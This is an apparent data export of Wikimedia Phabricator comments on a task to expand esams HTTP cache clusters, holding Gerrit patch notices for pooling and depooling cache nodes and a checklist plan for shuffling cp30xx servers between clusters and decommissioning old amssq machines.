[[https://gerrit.wikimedia.org/r/202967]]",,,1428539914,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5454545454545454,0.8636363636363636,"Change 202967 merged by BBlack:
T86663 4.3: shuffle roles, no repool yet

[[GERRIT_URL]]"
440751,Expand HTTP frontend clusters with new hardware,"Change 202967 had a related patch set uploaded (by BBlack):
T86663 4.3: shuffle roles, no repool yet

[[https://gerrit.wikimedia.org/r/202967]]
",,,1428539842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5172413793103448,0.896551724137931,"Change 202967 had a related patch set uploaded (by BBlack):
T86663 4.3: shuffle roles, no repool yet

[[GERRIT_URL]]
"
440739,Expand HTTP frontend clusters with new hardware,"Change 202964 merged by BBlack:
T86663 4.3: pool 3044; depool 3017,3013,amssq4[78]

[[https://gerrit.wikimedia.org/r/202964]]",,,1428539278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.045454545454546,0.8181818181818182,"Change 202964 merged by BBlack:
T86663 4.3: pool 3044; depool 3017,3013,amssq4[78]

[[GERRIT_URL]]"
440736,Expand HTTP frontend clusters with new hardware,"Change 202964 had a related patch set uploaded (by BBlack):
T86663 4.3: pool 3044; depool 3017,3013,amssq4[78]

[[https://gerrit.wikimedia.org/r/202964]]
",,,1428539223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.896551724137931,0.8620689655172413,"Change 202964 had a related patch set uploaded (by BBlack):
T86663 4.3: pool 3044; depool 3017,3013,amssq4[78]

[[GERRIT_URL]]
"
440720,Expand HTTP frontend clusters with new hardware,"Change 202962 merged by BBlack:
T86663 4.2: repool cp301[26]

[[https://gerrit.wikimedia.org/r/202962]]",,,1428537889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6315789473684212,0.7894736842105263,"Change 202962 merged by BBlack:
T86663 4.2: repool cp301[26]

[[GERRIT_URL]]"
440719,Expand HTTP frontend clusters with new hardware,"Change 202962 had a related patch set uploaded (by BBlack):
T86663 4.2: repool cp301[26]

[[https://gerrit.wikimedia.org/r/202962]]
",,,1428537857,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.576923076923077,0.8461538461538461,"Change 202962 had a related patch set uploaded (by BBlack):
T86663 4.2: repool cp301[26]

[[GERRIT_URL]]
"
440716,Expand HTTP frontend clusters with new hardware,"Change 202961 merged by BBlack:
T86663 4.2: shuffle roles, no repool yet

[[https://gerrit.wikimedia.org/r/202961]]",,,1428537304,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5454545454545454,0.8636363636363636,"Change 202961 merged by BBlack:
T86663 4.2: shuffle roles, no repool yet

[[GERRIT_URL]]"
440714,Expand HTTP frontend clusters with new hardware,"Change 202961 had a related patch set uploaded (by BBlack):
T86663 4.2: shuffle roles, no repool yet

[[https://gerrit.wikimedia.org/r/202961]]
",,,1428537236,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5172413793103448,0.896551724137931,"Change 202961 had a related patch set uploaded (by BBlack):
T86663 4.2: shuffle roles, no repool yet

[[GERRIT_URL]]
"
440705,Expand HTTP frontend clusters with new hardware,"Change 202959 merged by BBlack:
T86663 4.2: pool 3035; depool 3016,3012,amssq4[56]

[[https://gerrit.wikimedia.org/r/202959]]",,,1428536740,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.045454545454546,0.8181818181818182,"Change 202959 merged by BBlack:
T86663 4.2: pool 3035; depool 3016,3012,amssq4[56]

[[GERRIT_URL]]"
440704,Expand HTTP frontend clusters with new hardware,"Change 202959 had a related patch set uploaded (by BBlack):
T86663 4.2: pool 3035; depool 3016,3012,amssq4[56]

[[https://gerrit.wikimedia.org/r/202959]]
",,,1428536705,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.896551724137931,0.8620689655172413,"Change 202959 had a related patch set uploaded (by BBlack):
T86663 4.2: pool 3035; depool 3016,3012,amssq4[56]

[[GERRIT_URL]]
"
440698,Expand HTTP frontend clusters with new hardware,"Change 202957 merged by BBlack:
T86663 4.1: repool cp3015

[[https://gerrit.wikimedia.org/r/202957]]",,,1428536440,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 202957 merged by BBlack:
T86663 4.1: repool cp3015

[[GERRIT_URL]]"
440697,Expand HTTP frontend clusters with new hardware,"Change 202957 had a related patch set uploaded (by BBlack):
T86663 4.1: repool cp3015

[[https://gerrit.wikimedia.org/r/202957]]
",,,1428536426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 202957 had a related patch set uploaded (by BBlack):
T86663 4.1: repool cp3015

[[GERRIT_URL]]
"
440688,Expand HTTP frontend clusters with new hardware,"Change 202952 merged by BBlack:
T86663 4.1: shuffle roles, no repool yet

[[https://gerrit.wikimedia.org/r/202952]]",,,1428535336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5454545454545454,0.8636363636363636,"Change 202952 merged by BBlack:
T86663 4.1: shuffle roles, no repool yet

[[GERRIT_URL]]"
440687,Expand HTTP frontend clusters with new hardware,"Change 202952 had a related patch set uploaded (by BBlack):
T86663 4.1: shuffle roles, no repool yet

[[https://gerrit.wikimedia.org/r/202952]]
",,,1428535322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5172413793103448,0.896551724137931,"Change 202952 had a related patch set uploaded (by BBlack):
T86663 4.1: shuffle roles, no repool yet

[[GERRIT_URL]]
"
440672,Expand HTTP frontend clusters with new hardware,"Change 202947 merged by BBlack:
T86663 4.1: pool cp3034; depool cp3015,amssq4[34]

[[https://gerrit.wikimedia.org/r/202947]]",,,1428534355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.8181818181818182,"Change 202947 merged by BBlack:
T86663 4.1: pool cp3034; depool cp3015,amssq4[34]

[[GERRIT_URL]]"
440670,Expand HTTP frontend clusters with new hardware,"Change 202947 had a related patch set uploaded (by BBlack):
T86663 4.1: pool cp3034; depool cp3015,amssq4[34]

[[https://gerrit.wikimedia.org/r/202947]]
",,,1428534308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.8620689655172415,0.8620689655172413,"Change 202947 had a related patch set uploaded (by BBlack):
T86663 4.1: pool cp3034; depool cp3015,amssq4[34]

[[GERRIT_URL]]
"
440118,Expand HTTP frontend clusters with new hardware,Steps 1-3 above are complete.,,,1428468206,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Steps 1-3 above are complete.
438004,Expand HTTP frontend clusters with new hardware,https://gerrit.wikimedia.org/r/#/c/201714 <- proposal for backend weighting,,,1428072754,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.571428571428571,1.0,URL <- proposal for backend weighting
441820,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [X] cp3038 -> cp3005 -> amssq55
   4. [ ] cp3039 -> cp3006 -> amssq56
   5. [X] cp3046 -> cp3007 -> amssq59,60
   6. [X] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009 -> amssq57
   8. [ ] cp3049 -> cp3010 -> amssq58

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428673352,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.666666666666667,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,2.6666666666666665,7.166666666666667,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.5,0.0,0.16666666666666666,0.0,2.3333333333333335,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.5,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.6666666666666667,1.3333333333333333,3.1666666666666665,0.5,1.1666666666666667,3.1666666666666665,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.333333333333333,0.0,1.0,7.166666666666667,6.666666666666667,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,12.5,3.482003503742634,0.6044354196528109,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [X] cp3038 -> cp3005 -> amssq55
   4. [ ] cp3039 -> cp3006 -> amssq56
   5. [X] cp3046 -> cp3007 -> amssq59,60
   6. [X] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009 -> amssq57
   8. [ ] cp3049 -> cp3010 -> amssq58

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
441640,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step):
   1. [X] cp3036 -> cp3003 -> amssq5[12]
   2. [X] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq55
   4. [ ] cp3039 -> cp3006 -> amssq56
   5. [X] cp3046 -> cp3007 -> amssq59,60
   6. [X] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009 -> amssq57
   8. [ ] cp3049 -> cp3010 -> amssq58

